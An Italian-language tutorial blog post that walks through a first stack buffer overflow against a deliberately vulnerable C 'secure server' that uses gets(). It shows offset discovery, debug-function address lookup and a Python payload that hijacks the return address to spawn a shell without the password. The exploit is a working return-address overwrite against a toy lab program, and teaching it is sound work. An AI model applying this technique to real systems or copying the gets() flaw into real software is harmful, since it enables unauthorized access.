Il tuo primo overflow del buffer

Nov 27 2022
Che tu sia uno studente, uno sviluppatore o un manager di un'azienda, dovresti provare questo. La chiave per scrivere codice sicuro è capire come si rompe il codice cattivo.

Che tu sia uno studente, uno sviluppatore o un manager di un'azienda, dovresti provare questo. La chiave per scrivere codice sicuro è capire come si rompe il codice cattivo. L'unico modo per decifrare il codice errato è sporcarsi le mani e iniziare a far scoppiare i proiettili nelle sfide di sfruttamento binario. In questo articolo, ti illustrerò come eseguire il tuo attacco di overflow del buffer utilizzando un esempio che ho fatto su YouTube.

In uno dei miei video su YouTube, ho spiegato come le stringhe nel linguaggio di programmazione C hanno fatto hackerare le persone. La ragione principale di ciò è che non esiste un attributo di lunghezza integrato associato al tipo di stringa C. L'unico modo per sapere se una stringa è completa è navigare fino alla fine della stringa.

https://youtu.be/fjMrDDj47E8

Questo concetto ha portato a innumerevoli vulnerabilità di overflow del buffer nel software e, di conseguenza, ha portato a migliaia di attacchi informatici e al furto di dati personali.

Il nostro server vulnerabile

Di seguito è riportato un codice per un semplice server in C.

#include <stdio.h>
#include <secrets.h>

void debug() 
{
    printf("!! ENTERING DEBUG MODE !!\n");
    system("/bin/bash");
}

int checkPassword()
{
    char password[64];

    printf("password: ");
    gets(password);

    return isValidPassword(password);
}

int main(int argc, char **argv)
{
    printf("WELCOME TO THE SECURE SERVER\n");

    if (checkPassword())
    {
        debug();
    } else {
        printf("Wrong password, sorry;\n");
    }
}

Tuttavia, c'è una grande vulnerabilità qui. La password che alla fine viene verificata viene letta dalla funzione gets , che è una funzione estremamente vulnerabile. Se non mi credi, controlla la pagina man per gets.

Never use gets(). Because it is impossible to tell without knowing the data 
in advance how many characters gets() will read, and because gets() will 
continue to store characters past the end of the buffer, it is extremely 
dangerous to use. It has been used to break computer security. Use fgets() 
instead.

La pila

La parte più difficile da capire per i programmatori e i professionisti della sicurezza informatica è come un sovraccarico di dati al di fuori di un buffer può portare un hacker a ottenere il controllo del tuo codice e, in definitiva, del tuo computer. Il modo in cui ciò accade è dovuto al modo in cui i computer organizzano la memoria quando un programma viene eseguito.

Figura 1: esempio di controllo del flusso del programma

Nell'esempio di codice precedente, il programma si avvia in main. Dopo l'avvio di main , sulla riga 10, viene chiamata other_function . Ciò che è estremamente importante da capire è come altra_funzione sappia andare alla riga 11 dopo che è tornata.

La struttura che contiene queste informazioni viene definita “lo stack”. Lo stack è la regione della RAM che viene utilizzata quando il programma viene eseguito e viene utilizzata per memorizzare sia le informazioni sul flusso di controllo (come gli indirizzi di ritorno), ma anche i dati.

Quando main chiama other_function , l'indirizzo che verrà eseguito next in main dopo il ritorno di other_function viene inserito in cima allo stack. other_function viene eseguito, quindi il programma torna all'indirizzo memorizzato da main .

È qui che gli overflow del buffer iniziano a essere importanti. Se c'è un overflow del buffer nei dati del tuo programma, puoi modificare le informazioni sul flusso di controllo e, infine, cambiare il modo in cui il programma viene eseguito.

Prova tu stesso

La stessa cosa vale per questo frammento di codice qui. L'idea alla base di questo programma è: se conosci la password, ottieni una shell. Sfortunatamente, noi hacker non conosciamo la password, quindi non riceviamo una shell. Tuttavia, poiché la funzione gets viene utilizzata, possiamo sfruttare la vulnerabilità di overflow del buffer e sovraccaricare l'indirizzo di ritorno. Invece di tornare a main , possiamo tornare direttamente alla funzione di debug senza conoscere la password.

Segui qui:

https://github.com/lowlevellearning/secure-server-stuff

Funzionalità di prova

Per iniziare, dovremmo eseguire il server e testarne la funzionalità. Inoltre, proviamo a indovinare la password.

Va bene, niente dadi. È qui che inizia l'hacking.

Arresta il server

Possiamo sfruttare l'overflow del buffer, come suggerisce il nome, eseguendo l'overflow del buffer. Per fare ciò, forniamo più dati di quanti il ​​server possa gestire.

In fondo, vediamo che il programma presentava un errore di segmentazione. Ciò significa che il programma ha tentato di accedere alla memoria a cui non era in grado di accedere. Se sei uno sviluppatore, questo è un male. Ma se stai cercando di hackerare il server, va bene :)

Analizziamo ulteriormente l'incidente.

Qui, possiamo vedere che il programma è andato in errore durante il tentativo di eseguire le istruzioni all'indirizzo 0x41414141. Quell'indirizzo doveva sembrare... strano. Abbastanza interessante, 0x41414141 è la rappresentazione esadecimale della stringa "AAAA", il che significa che la nostra stringa di As è andata in overflow nell'indirizzo di ritorno e la CPU ha cercato di eseguirla. ORA STIAMO HACKING!

Prendere il controllo

Per ottenere il controllo esatto dell'indirizzo di ritorno, dobbiamo determinare specificamente quale parte della nostra stringa ASCII ha causato il crash del programma. Possiamo farlo modulando la nostra stringa con caratteri diversi e utilizzando i caratteri per determinare dove inizia e finisce il nostro controllo dell'indirizzo di ritorno.

Invece di una lunga stringa di As, inseriamo 64 As, seguiti da una serie di caratteri ASCII extra. 64 è la lunghezza del nostro buffer di input, quindi è un buon punto di partenza per indovinare la lunghezza. Successivamente, inseriamo caratteri aggiuntivi. Per verificare dove inizia il nostro controllo, usa lo stesso comando di prima.

Ora puoi vedere che abbiamo un nuovo indirizzo di ritorno. 0x45454545 è la rappresentazione esadecimale di "EEEE"! Ciò significa che abbiamo determinato dove il nostro overflow prende il controllo del puntatore di ritorno. Da qui, dobbiamo inserire un indirizzo nel buffer che ci interessa davvero. Stiamo cercando di tornare alla funzione di debug, quindi dovremmo inserire quell'indirizzo al posto della stringa EEEE.

Per determinare l'indirizzo di debug, eseguiamo un semplice comando...

objdump -d -Mintel ./hacked | less

Sembra che l'indirizzo di debug sia 0x08049296. Se mettiamo l'indirizzo di debug dove si trovava la nostra stringa EEEE, forse possiamo controllare il programma e tornare al debug senza bisogno della password.

L'exploit finale

Possiamo farlo usando un po' di python-fu.

import sys

payload = b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
payload += b"BBBBCCCCDDDD"
payload += b"\x08\x04\x92\x96"[::-1]

sys.stdout.buffer.write(payload)

user@user:~/vuln$ (python3 exploit.py; cat) | ./hacked
WELCOME TO THE SECURE SERVER

password: !! ENTERING DEBUG MODE !!

cat password
too_kool_4_skoo

Seguimi su Medium, vai su Iscriviti su YouTube. E c'è dell'altro!